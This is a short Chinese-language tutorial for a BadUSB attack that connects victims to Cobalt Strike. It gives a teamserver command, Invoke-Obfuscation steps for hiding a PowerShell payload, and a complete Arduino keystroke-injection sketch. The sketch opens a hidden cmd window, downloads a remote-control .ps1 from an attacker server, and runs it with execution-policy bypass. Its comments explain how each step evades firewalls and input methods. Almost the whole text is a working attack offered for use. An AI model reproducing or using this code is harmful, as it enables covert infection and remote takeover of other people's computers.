BadUSB简单免杀一秒上线CobaltStrike

./teamserver 192.168.1.6 adm1nt1st

Import-Module .\Invoke-Obfuscation.psd1
Invoke-Obfuscation

set scriptpath c:\xxx\payload.ps1

set scriptblock 'echo xss'

out C:\xxx\xxx.ps1

void setup() {
  // putpower shell your setup code here, to run once
  Keyboard.begin();//开始键盘通讯 
delay(3000);//延时 
Keyboard.press(KEY_LEFT_GUI);//win键 
delay(500);
Keyboard.press('r');//r键
delay(500); 
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r'); 
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD  /q /d /f:off /v:on /k MODE con: cols=15 lines=1");  //无回显
//Keyboard.println("cmd /T:01 /K \"@echo off && mode con:COLS=15 LINES=1\"");   //有回显
delay(500);
Keyboard.press(KEY_RETURN); 
Keyboard.release(KEY_RETURN); 
delay(2000);
Keyboard.println("powershell");
Keyboard.println("$clnt = new-object system.net.webclient;");
Keyboard.println("$url= 'http://xx.xx.xx.xx/xxx.ps1';");  //远程服务器ps1远控地址
Keyboard.println("$file = 'd:\\xxx.ps1';");      //下载到目标存放文件的地址
Keyboard.println("$clnt.downloadfile($url,$file)");  //采用分段执行绕过防火墙进程防护
Keyboard.println("powershell.exe -executionpolicy bypass -file d:\\xxx.ps1"); //本地权限绕过执行木马脚本
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK); 
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯 
}
 
void loop() {
  // put your main code here, to run repeatedly:
 
}

插入BadUsb后等待3秒
按下Windows+R
切换大写绕开输入法
模拟输入字符串，最小化打开cmd窗口
隐藏输入特定命令，下载远控并调用powershell执行